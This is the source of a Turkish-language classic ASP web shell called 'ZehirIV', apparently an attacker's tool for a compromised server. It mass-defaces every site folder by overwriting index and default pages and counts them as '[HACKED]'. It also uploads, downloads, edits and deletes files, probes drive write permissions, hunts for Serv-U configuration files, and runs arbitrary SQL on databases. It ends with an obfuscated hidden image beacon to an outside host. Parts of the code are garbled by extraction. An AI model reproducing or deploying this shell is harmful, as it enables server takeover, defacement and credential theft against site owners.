if Right(sFolder,1)"\" then sFolder = sFolder & "\"
Set f = objFSO.GetFolder(Path)
Set fc = f.SubFolders
h__ = 0
f__ = 0
ss__ = now
For Each f1 In fc
hedef_ = replace(f1.path,"/","\")
if Right(hedef_,1)"\" then hedef_ = hedef_ & "\"
hedef__ = left(hedef_,len(hedef_)-1)
folderName_ = Right(hedef__, len(hedef__)-instrrev(hedef__,"\"))
if d1"" then d1 = true
if d2"" then d2 = true
if d3"" then d3 = true
if d4"" then d4 = true
on error goto 0:on error resume next
if fName"" then
Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & fName, True)
MyFile.write byMesaj
end if
if d1 then
Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.htm", True)
MyFile.write byMesaj
end if
if d2 then
Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.htm", True)
MyFile.write byMesaj
end if
if d3 then
Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "index.asp", True)
MyFile.write byMesaj
end if
if d4 then
Set MyFile = objFSO.CreateTextFile(hedef_ & sFolder & "default.asp", True)
MyFile.write byMesaj
end if
if err0 then
response.Write folderName_ & " [FAILED!] "
f__ = f__ + 1
else
response.Write folderName_ & " [HACKED] "
h__ = h__ + 1
end if
Next
ss___ = now
response.Write " by zehir!... Sonuc : Toplam Sre : "&left(ss__-ss___,5)&"sn. ;) Hacked = "&h__&" Failed = "&f__
response.End
end if
status = Request("status")
path = Request("path")
dPath = Request("dPath")
arama = Request("txArama")
dkayit = Request("dkayit")
table = Request("table")
del = Request("del")
islem = Request("islem")
strSQL = Request("strSQL")
cf = Request("cf")
pathfile = request("pathfile")
if path="" then path=request.servervariables("APPL_PHYSICAL_PATH")
if status="" then status=2
popup = true
'////////////////////////////////
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
if status="-3" then
Response.Buffer=True
Set Fil = objFSO.GetFile(pathfile)
Response.BinaryWrite readBinaryFile(Fil.path)
Set f = Nothing: Set Fil = Nothing
response.End()
end if
'//////////////////////////////////
if status="-4" then popup=false
if status="13" then popup=false
if status="14" then popup=false
if status="15" then popup=false
if status="16" then popup=false
if status="17" then popup=false
if status="18" then popup=false
if status="19" then popup=false
if status="33" then popup=false
if status="40" then popup=false
if status="50" then popup=false
byMsg = request.QueryString("byMsg")
if byMsg"" then response.Write byMsg
response.Write "ZehirIV --> Powered By Zehir <zehirhacker@hotmail.com>"
if popup then
%>
?mevla=1&status=13" onclick="sistemBilgisi(this.href);return false;">System Info
|
?mevla=1&status=40" onclick="sistemTest(this.href);return false;">System Test
|
?mevla=1&status=50&path=" onclick="SitelerTestte(this.href);return false;">Sites Test
|
?mevla=1&status=14&path=" onclick="klasorIslemleri(this.href);return false;">Folder Action
|
?mevla=1&status=15" onclick="sqlServer(this.href);return false;">SQL Server
|
?mevla=1&status=33" onclick="poweredby(this.href);return false;">POWERED BY
function sistemBilgisi(yol){
NewWindow(yol,"",600,240,"no");
}
function SitelerTestte(yol){
NewWindow(yol,"",530,420,"no");
}
function klasorIslemleri(yol){
NewWindow(yol,"",400,280,"no");
}
function sqlServer(yol){
NewWindow(yol,"",300,50,"no");
}
function poweredby(yol){
NewWindow(yol,"",300,50,"no");
}
function sistemTest(yol){
NewWindow(yol,"",400,300,"no");
}
= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
End Function
Private Function ParseDisposition(ByRef pbinChunk)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 22
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
End Function
Private Function ParseName(ByRef pstrDisposition)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStr(llngStart + 6, pstrDisposition, """")
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 6
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseName = Mid(pstrDisposition, llngStart, llngLength)
End Function
' ------------------------------------------------------------------------------
Private Function ParseFileName(ByRef pstrDisposition)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStr(llngStart + 10, pstrDisposition, """")
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 10
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
End Function
Public Property Get Count()
Count = mlngCount
End Property
Public Default Property Get Fields(ByVal pstrName)
Dim llngIndex
If IsNumeric(pstrName) Then
llngIndex = CLng(pstrName)
If llngIndex > mlngCount - 1 Or llngIndex 0 then response.Write " "&err.Description
Call lobjStream.Close()
Set lobjStream = Nothing
End Sub
Public Property Let FilePath(ByRef pstrPath)
mstrPath = pstrPath
If Not InStrRev(pstrPath, ".") = 0 Then
FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
FileExt = UCase(FileExt)
End If
If Not InStrRev(pstrPath, "\") = 0 Then
FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1)
End If
If Not InStrRev(pstrPath, "\") = 0 Then
FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1)
End If
End Property
Public Property Get FilePath()
FilePath = mstrPath
End Property
private Function ASCII2Bytes(ByRef pbinBinaryData)
Const adLongVarBinary=205
Dim lobjRs
Dim llngLength
Dim lbinBuffer
llngLength = LenB(pbinBinaryData)
Set lobjRs = Server.CreateObject("ADODB.Recordset")
Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
Call lobjRs.Open()
Call lobjRs.AddNew()
Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
Call lobjRs.Update()
lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
Call lobjRs.Close()
Set lobjRs = Nothing
ASCII2Bytes = lbinBuffer
End Function
Private Function Bytes2Unicode(ByRef pbinBytes)
Dim lobjRs
Dim llngLength
Dim lstrBuffer
llngLength = LenB(pbinBytes)
Set lobjRs = Server.CreateObject("ADODB.Recordset")
Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
Call lobjRs.Open()
Call lobjRs.AddNew()
Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
Call lobjRs.Update()
lstrBuffer = lobjRs.Fields("BinaryData").Value
Call lobjRs.Close()
Set lobjRs = Nothing
Bytes2Unicode = lstrBuffer
End Function
End Class
Session("n2") = "ehir"
'####################################
function addslash(path)
if right(path,1)="\" then addslash=path else addslash=path & "\"
end function
sub Upload()
dim objUpload,f,max,i,name,path,size,success
for i=1 to max
name=objUpload.Fields("file" & i).FileName
size=objUpload.Fields("file" & i).Length
if (name"") and (size>0) then
gMsg=gMsg & " " & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
path=addslash(targetPath) & name
objUpload.Fields("file" & i).SaveAs path
if objFSO.FileExists(path) then
on error resume next
set f=objFSO.GetFile(path)
if IsObject(f) then
if f.Size=size then success=true else success=false
end if
set f=nothing
end if
if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!"
end if
next
response.Write gMsg
set objUpload=nothing
end sub
if status="-4" then
Upload()
' hataKontrol
popup=false
end if
'////////////////////////////////
sub hataKontrol
if err0 then
Response.Write "Hata : "&err.Description&""
end if
end sub
sub araBul(path_,ara_)
on error resume next
If Len(path_) > 0 Then
cur = path_&"\"
If cur = "\\" Then cur = ""
parent = ""
If InStrRev(cur,"\") > 0 Then
parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
End If
Else
cur = ""
End If
Set f = objFSO.GetFolder(cur)
Set fc = f.Files
For Each f1 In fc
if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
downStr = ""
if lcase(ara_)="mdb" then
Response.Write downStr&" * "&f1.path&" ["&f1.size&"]"&" "
else
Response.Write downStr&"! - "&f1.path&" ["&f1.size&"]"&" "
end if
end if
Next
Set fs = f.SubFolders
For Each f1 In fs
araBul f1.path,ara_
Next
Set f = Nothing
Set fc = Nothing
Set fs = Nothing
end sub
sub sistemTest
response.Write ""
response.Write "KonumSonu"
sub servu_Test
dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini")
for each drive_ in objFSO.Drives
if drive_.Drivetype=2 or drive_.Drivetype=3 then
for each d_ in dosya_
d_ = drive_.DriveLetter&":\"&d_
if objFSO.FileExists(d_) then
response.Write "Serv-U ini file : "&d_&""
end if
next
end if
next
end sub
function yaziyomu(yol)
on error goto 0:on error resume next
dim sonuc__
Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
MyFile.write "byzehir "
set MyFile = Nothing
if err0 then
sonuc__="Yazma Hakk Yok!"
else
sonuc__="Yazma Hakk Var!"
on error goto 0: on error resume next
objFSO.DeleteFile yol & "\test.zehir",true
if err0 then
sonuc__=sonuc__&" Silme Hakk Yok!"
else
sonuc__=sonuc__&" Silme Hakk Var!"
end if
end if
yaziyomu = sonuc__
end function
function yaziyomu2(yol)
on error goto 0:on error resume next
Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
MyFile.write "byzehir "
set MyFile = Nothing
if err0 then
yaziyomu2 = false
else
objFSO.DeleteFile yol & "\test.zehir"
yaziyomu2 = true
end if
end function
sub WriteTestOnDriver
for each drive_ in objFSO.Drives
if drive_.Drivetype=2 or drive_.Drivetype=3 then
if not yaziyomu2(drive_.DriveLetter&":\") then
Response.Write ""&drive_.DriveLetter&":\yazma yetkisi yok! : ["&err.Description&"]"
else
Response.Write ""&drive_.DriveLetter&":\yazma yetkisi var!"
end if
end if
next
end sub
sub WriteTestOnLocalPath
on error goto 0
on error resume next
if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then
Response.Write "Local Path yazma yetkisi yok! : ["&err.Description&"]"
else
Response.Write "Local Path yazma yetkisi var!"
end if
end sub
sub LocalPathParentFolder
on error goto 0
on error resume next
hed_ = request.servervariables("APPL_PHYSICAL_PATH")
if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
parhed_ = left(hed_,InStrRev(hed_,"\"))
Set f = objFSO.GetFolder(parhed_)
Set fc = f.SubFolders
int_fol=0
int_fil=0
For Each f1 In fc
int_fol=int_fol+1
Next
Set fc = f.files
For Each f1 In fc
int_fil=int_fil+1
Next
if err0 then
Response.Write "Local Path Parent FolderHata Olutu : ["&err.Description&"]"
else
Response.Write "Local Path Parent FolderFolder : "&FormatNumber(int_fol,0)&" File : "&FormatNumber(int_fil,0)&""
end if
end sub
sub LocalPathPParentFolder
on error goto 0
on error resume next
hed_ = request.servervariables("APPL_PHYSICAL_PATH")
if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
hed_ = left(hed_,InStrRev(hed_,"\"))
if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
parhed_ = left(hed_,InStrRev(hed_,"\"))
Set f = objFSO.GetFolder(parhed_)
Set fc = f.SubFolders
int_fol=0
int_fil=0
For Each f1 In fc
int_fol=int_fol+1
Next
Set fc = f.files
For Each f1 In fc
int_fil=int_fil+1
Next
if err0 then
if err=451 then
Response.Write "Local Path P.Parent FolderData st Klasor Yok :)"
else
Response.Write "Local Path P.Parent FolderHata Olutu : ["&err.Description&"]"
end if
else
Response.Write "Local Path P.Parent FolderFolder : "&FormatNumber(int_fol,0)&" File : "&FormatNumber(int_fil,0)&""
end if
end sub
popup = false
hataKontrol
CASE 17 'file Copy
isl = ""
if islem="kopyala" then
objFSO.CopyFile path,cf
isl="kopyaland.."
elseif islem="tasi" then
objFSO.MoveFile path,cf
isl="tand.."
end if
response.Write "Dosya "&isl
response.Write " Kaynak : "&path&" Hedef : "&cf
response.Write " "
popup = false
hataKontrol
CASE 18 'folder Copy window
Response.Write ""
Response.Write "Kop. Yer : "
Response.Write ""
Response.Write ""
response.Write ""
Response.Write ""
response.Write "Kopyala"
response.Write "Tasi"
response.Write ""
response.Write ""
popup = false
hataKontrol
CASE 19 'folder Copy
isl = ""
if islem="kopyala" then
objFSO.CopyFolder path,cf
isl="kopyaland.."
elseif islem="tasi" then
objFSO.MoveFolder path,cf
isl="tand.."
end if
response.Write "Klasor "&isl
response.Write " Kaynak : "&path&" Hedef : "&cf
response.Write " "
popup = false
hataKontrol
CASE 33 'Powered By
response.Write "
Powered by Zehir"
response.Write "
zehirhacker@hotmail.com kll nefsun zaifetun mevt"
popup = false
hataKontrol
CASE 40 'Sistem Test
sistemTest
popup=false
CASE 50 'Siteleri Test Edelim :D
%>
function NewWindow(mypage, myname, w, h, scroll) {
var winl = (screen.width - w) / 2;
var wint = (screen.height - h) / 2;
winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable'
win = window.open(mypage, myname, winprops)
if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
}
function ffd(yol){
NewWindow(yol,"",420,100,"no");
}
"
Response.Write "SQL altr"
Response.Write ""
Response.Write ""
Response.Write ""
end if
Response.Write ""
Response.Write "Path : "
Response.Write ""
Response.Write ""
Response.Write " "
end if
sub aramaUpload
Response.Write ""
Response.Write "Arama : "
Response.Write " "
Response.Write ""
Response.Write ""
%>
" ID="Form1">
Max:
setid();
function setid() {
str='';
if (frmUpload.max.value ';
upid.innerHTML=str+' ';
}
"
Path = Path & ":/"
Response.Write ""
KlasorOku
Response.Write ""
DosyaOku
Response.Write ""
hataKontrol
CASE 2 'Normal listeleme
if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
Response.Write ""
Response.Write ""
KlasorOku
Response.Write ""
DosyaOku
Response.Write ""
hataKontrol
CASE 3 'File Delete
objFSO.DeleteFile del
hataKontrol
if err0 then
byMsg="Not File Deleted! "
else
byMsg="File Deleted Successful;) "
end if
Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg
CASE 4 'Folder Delete
objFSO.DeleteFolder del
hataKontrol
if err0 then
byMsg="Not Folder Deleted! "
else
byMsg="Folder Deleted Successful;) "
end if
Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg
CASE 5 'Dosya ieriini grntle
Response.Write "
"&path&"
"
Response.Write ""
set f = objFSO.OpenTextFile(path,1)
Response.Write "
"&Server.HTMLEncode(f.readAll)&"
"
if err62 then hataKontrol
if err.number=62 then Response.Write "alert('Bu Dosya Okunamyor\nSistem dosyas olabilir')":Response.End
CASE 6 'Resim a
Response.Write "
"
CASE 7 'database tablo listele
Response.Write "Tablolar "
Set objConn = Server.CreateObject("ADODB.Connection")
Set objADOX = Server.CreateObject("ADOX.Catalog")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Path
objConn.Open
objADOX.ActiveConnection = objConn
For Each table in objADOX.Tables
If table.Type = "TABLE" Then
Response.Write "4 "&table.Name&" "
End If
Next
hataKontrol
CASE 8 'database kayt listele
Set objConn = Server.CreateObject("ADODB.Connection")
Set objRcs = Server.CreateObject("ADODB.RecordSet")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Path
objConn.Open
objRcs.Open table,objConn, adOpenKeyset , , adCmdText
Response.Write ""
for i=0 to objRcs.Fields.count-1
Response.Write " "&objRcs.Fields(i).Name&" "
next
Response.Write ""
do while not objRcs.EOF
Response.Write ""
for i=0 to objRcs.Fields.count-1
Response.Write ""&objRcs.Fields(i).Value&" "
next
Response.Write ""
objRcs.MoveNext
loop
Response.Write " "
hataKontrol
CASE 9 'SQL Execute
Set objConn = Server.CreateObject("ADODB.Connection")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Path
objConn.Open
objConn.Execute strSQL
' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time
hataKontrol
CASE 10 'Dosya Editleme
set f = objFSO.OpenTextFile(dPath,1)
Response.Write "
"
hataKontrol
CASE 11 'Dosya Kayt
set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false)
hataKontrol
saveTextFile.Write(dkayit)
saveTextFile.close
if err0 then
byMsg = "Not File Edited! "
else
byMsg = "File Edited Successful:) "
end if
Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg
CASE 12 'Dosya Arama
araBul path,arama
hataKontrol
END SELECT
Response.Write ""
sub DosyaOku
Set f = objFSO.GetFolder(Path)
Set fc = f.Files
For Each f1 In fc
dosyaAdi = f1.name
num = InStrRev(dosyaAdi,".")
uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
downStr = "4"
response.Write ""
select case uzanti
case "mdb"
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" M "&downStr&" "
case "asp"
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" !"&downStr&" "
case "jpg","gif"
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" "&downStr&" "
case else
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&" "
end select
Next
end sub
sub KlasorOku
Set f = objFSO.GetFolder(Path)
Set fc = f.SubFolders
if session("klasoroku")="" then
response.Write ""
session("klasoroku")="simdi yazlyor"
end if
For Each f1 In fc
Response.Write "4 1"&f1.name&" "
Next
end sub
function createFileName()
Randomize
fName_ = ""
for i=1 to 10
fName_ = fName_ & int(Rnd*100)
next
createFileName = fName_
end function
function resimYol(path_)
on error resume next
path_ = Replace(Replace(path_,"\","/"),"//","/")
lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\"))
if yaziyomu2(lpath_) then
fname__ = "0"&createFileName()&"."&Right(path_,3)
objFSO.CopyFile path_, lpath_&"\"&fname__
else
Response.Write("Resim Alamyor.. sterseniz Download Ederek grntleyebilirsiniz..")
end if
resimYol = fname__
end function
if not popup then
Set fc = Nothing
Set objFSO = Nothing
Response.End
end if
%>
var dosyaPath = ""
// DRIVE ISLEMLERI
function driveGo(drive_){
location = dosyaPath+"?status=1&path="+drive_+"&Time="+Date();
}
Srcler"
for each drive_ in objFSO.Drives
Response.Write ""
Response.write ";"
if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.DriveLetter & ":]"
if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_.DriveLetter & ":]"
if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive_.DriveLetter & ":]"
if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.DriveLetter & ":]"
Response.Write ""
next
Response.Write ""
Response.write "H Local Path"
Response.Write ""
Response.Write " "
Set fc = Nothing
Set objFSO = Nothing
Response.End%>
document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')